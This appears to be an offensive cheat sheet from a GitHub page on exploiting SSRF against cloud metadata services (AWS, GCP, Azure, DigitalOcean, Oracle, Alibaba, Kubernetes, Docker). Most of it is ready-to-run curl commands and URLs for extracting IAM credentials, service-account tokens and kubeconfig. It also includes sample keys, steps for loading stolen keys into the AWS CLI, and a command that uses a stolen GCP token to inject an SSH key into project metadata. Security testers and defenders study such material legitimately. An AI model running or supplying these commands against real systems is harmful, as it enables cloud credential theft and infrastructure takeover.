Cloud SSRF

AWS

Abusing SSRF in AWS EC2 environment

169.254.169.254 - Metadata Address

Metadata of the basic virtual machines from AWS (called EC2) can be retrieved from the VM accessing the url: http://169.254.169.254 (information about the metadata here).

The IP address 169.254.169.254 is a magic IP in the cloud world. AWS, Azure, Google, DigitalOcean and others use this to allow cloud resources to find out metadata about themselves. Some, such as Google, have additional constraints on the requests, such as requiring it to use Metadata-Flavor: Google as an HTTP header and refusing requests with an X-Forwarded-For header. AWS has no constraints.

Sending a GET requests to the following endpoint will dump a list of roles that are attached to the current EC2 instance:

http://169.254.169.254/latest/meta-data/iam/security-credentials/

If you want to access your S3 bucket you would normally hard-code your API keys into your application. Hard-coding clear text passwords is a bad idea. This is why you can assign your EC2 instance a role which can be used to access your S3 bucket. These credentials are automatically rotated by AWS and can be access thought the metadata API.

Once you get a list of roles attached to the EC2 instance you can dump their credentials by making a GET requests to the following URL:

http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME_HERE>

As an example you can visit: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws

The response should look something like this:

{
  "Code" : "Success",
  "LastUpdated" : "2019-08-03T20:42:03Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA5A6IYGGDLBWIFH5UQ",
  "SecretAccessKey" : "sMX7//Ni2tu2hJua/fOXGfrapiq9PbyakBcJunpyR",
  "Token" : "AgoJb3JpZ2luX2VjEH0aCXVzLWVhc3QtMSJHMEUCIQDFoFMUFs+lth0JM2lEddR/8LRHwdB4HiT1MBpEg8d+EAIgCKqMjkjdET/XjgYGDf9/eoNh1+5Xo/tnmDXeDE+3eKIq4wMI9v//////////ARAAGgw4OTUzODQ4MTU4MzAiDEF3/SQw0vAVzHKrgCq3A84uZvhGAswagrFjgrWAvIj4cJd6eI5Gcje09FyfRPmALKJymfQgpTQN9TtC/sBhIyICfni8JJvGesQZGi9c0ZFIWqdlmM/2rdZ6GaqcZY9V+0LspbwiDK0FUjrRcquBVswSlxWs8Tr0Uhpka20mUQOBhovmVyXNzyTQUQnBE9qgFLbYY+t86yUXmXMXxGPd4sWuLgkoCF2iPlMkgUwZq8hZvoiVf7TVQU32sgstKN7ozJiJcgTBpa6/batscGBtNpck4LOvHzNwwYv/FuVkpC70bPhqNXVxMEcpwt4s7RkHHowdFlNpnPpm57dfAYwZwoklWJdvtqFQ0tZHusZ65vJqyk5cZ8f3P/Cf7UlzoZPsIsarWcgfiDvkQliU9fY6Brt7jyjrF5h7oJbW/LUS4R9SDp+qKMtUY2JmLZRovsW4GfhfLJWv7wrW81QZVC8rBKLzWFRTLRkhlTFsS7A5JscuKoORyDxGQq/pGRsE30effdS9G1xNmzKwn45/V0XsilhTE7pOJGGopuLfBo5KD46hVS9v1iBuvxrVxsHFz7mnD/GKiwi1hbFAKEvypagZ28qEJaarNvAdi2QOowjuOX6gU6tAFrfFVBb6ZTI4btIjHNNoT0TFW5iYD0dkD+csqC4nTVpnAG/FFBk+CAHdy5Gh/aBISO7OQF9xKJSXkd+Syf62pg5XiMseL3n2+2+IWdDgKwhZYxeVlMbX88QYX3P9sX+OWHWidAVgTQhZw3xJ+VBV33EKgJ4b8Bk6mgo0kiB1hnoN0KX8RXr1axpYnJv2GHb8h/det89iwpyk77+8YcEvRc+DGTLIcUIxDoirgck9bpP3EBXfs=",
  "Expiration" : "2019-08-04T03:16:50Z"
}

You can then take those credentials and use them with the AWS CLI. This will allow you to do anything that role has permissions to do. If the role has improper permissions set (Most likely) you will be able to do all kinds of things, you might even be able to take over their entire cloud network.

To take advantage of the new credentials, you will need to crate a new AWS profile like this one:

[profilename]
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=

Notice the aws_session_token, this is indispensable for the profile to work.
Information taken from: http://ghostlulz.com/ssrf-aws-credentials/ (read that post for further information).
Another possible interesting place where you can find credentials is in http://169.254.169.254/user-data

PACU can be used with the discovered credentials to find out your privileges and try to escalate privileges

SSRF in AWS ECS (Container Service) credentials

ECS, is a logical group of EC2 instances on which you can run an application without having to scale your own cluster management infrastructure because ECS manages that for you. If you manage to compromise service running in ECS, the metadata endpoints change.

If you access http://169.254.170.2/v2/credentials/\ you will find the credentials of the ECS machine. But first you need to find the _<GUID>_ . To find the <GUID> you need to read the environ variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI inside the machine.
You could be able to read it exploiting an Path Traversal to file:///proc/self/environ
__The mentioned http address should give you the AccessKey, SecretKey and token.

curl "http://169.254.170.2/$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2/$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -

SSRF URL for AWS Elastic Beanstalk

We retrieve the accountId and region from the API.

http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

We then retrieve the AccessKeyId, SecretAccessKey, and Token from the API.

http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Then we use the credentials with aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/.

GCP

SSRF URL for Google Cloud

Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True" and you can access the metadata endpoint in with the following URLs:

http://169.254.169.254
http://metadata.google.internal
http://metadata

Interesting endpoints to extract information:

# /project
## Project name and number
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
## Project attributes
curl -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/project/attributes/?recursive=true

# /oslogin
## users
curl -s -f  -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/oslogin/users
## groups
curl -s -f  -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/oslogin/groups
## security-keys
curl -s -f  -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/oslogin/security-keys
## authorize
curl -s -f  -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/oslogin/authorize

# /instance
## Description
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
## Hostname
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
## ID
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
## Image
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
## Machine Type
curl -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/machine-type
## Name
curl -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/name
## Tags
curl -s -f  -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/scheduling/tags
## Zone
curl -s -f  -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/zone
## Network Interfaces
for iface in $(curl -s -f  -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do 
    echo "  IP: "$(curl -s -f  -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
    echo "  Subnetmask: "$(curl -s -f  -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
    echo "  Gateway: "$(curl -s -f  -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
    echo "  DNS: "$(curl -s -f  -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
    echo "  Network: "$(curl -s -f  -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
    echo "  ==============  "
done
## Service Accounts
for sa in $(curl -s -f  -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do 
    echo "  Name: $sa"
    echo "  Email: "$(curl -s -f  -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/$sa/email")
    echo "  Aliases: "$(curl -s -f  -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/$sa/aliases")
    echo "  Identity: "$(curl -s -f  -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/$sa/identity")
    echo "  Scopes: "$(curl -s -f  -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/$sa/scopes")
    echo "  Token: "$(curl -s -f  -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/$sa/token")
    echo "  ==============  "
done
## K8s Attributtes
### Cluster location
curl -s -f  -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
### Cluster name
curl -s -f  -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
### Os-login enabled
curl -s -f  -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
### Kube-env
curl -s -f  -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/attributes/kube-env
### Kube-labels
curl -s -f  -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
### Kubeconfig
curl -s -f  -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig

Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)

http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true

Add an SSH key

Extract the token

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

Check the scope of the token

$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  { 
        "issued_to": "101302079XXXXX", 
        "audience": "10130207XXXXX", 
        "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", 
        "expires_in": 2443, 
        "access_type": "offline" 
}

Now push the SSH key.

curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" 
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA" 
-H "Content-Type: application/json" 
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'

Digital Ocean

Documentation available at https://developers.digitalocean.com/documentation/metadata/

curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/ 
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq

Packetcloud

Documentation available at https://metadata.packet.net/userdata

Azure

Limited, maybe more exists? https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/

http://169.254.169.254/metadata/v1/maintenance

Update Apr 2017, Azure has more support; requires the header “Metadata: true” https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service

http://169.254.169.254/metadata/instance?api-version=2017-04-02
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text

OpenStack/RackSpace

(header required? unknown)

http://169.254.169.254/openstack

HP Helion

(header required? unknown)

http://169.254.169.254/2009-04-04/meta-data/

Oracle Cloud

http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/

Alibaba

http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id

Kubernetes ETCD

Can contain API keys and internal ip and ports

curl -L http://127.0.0.1:2379/version
curl http://127.0.0.1:2379/v2/keys/?recursive=true

Docker

http://127.0.0.1:2375/v1.24/containers/jsonSimple example
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json

Rancher

curl http://rancher-metadata/<version>/<path>

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

cloud-ssrf.md

cloud-ssrf.md

Cloud SSRF

AWS

Abusing SSRF in AWS EC2 environment

169.254.169.254 - Metadata Address

SSRF in AWS ECS (Container Service) credentials

SSRF URL for AWS Elastic Beanstalk

GCP

SSRF URL for Google Cloud

Add an SSH key

Digital Ocean

Packetcloud

Azure

OpenStack/RackSpace

HP Helion

Oracle Cloud

Alibaba

Kubernetes ETCD

Docker

Rancher

Files

cloud-ssrf.md

Latest commit

History

cloud-ssrf.md

File metadata and controls

Cloud SSRF

AWS

Abusing SSRF in AWS EC2 environment

169.254.169.254 - Metadata Address

SSRF in AWS ECS (Container Service) credentials

SSRF URL for AWS Elastic Beanstalk

GCP

SSRF URL for Google Cloud

Add an SSH key

Digital Ocean

Packetcloud

Azure

OpenStack/RackSpace

HP Helion

Oracle Cloud

Alibaba

Kubernetes ETCD

Docker

Rancher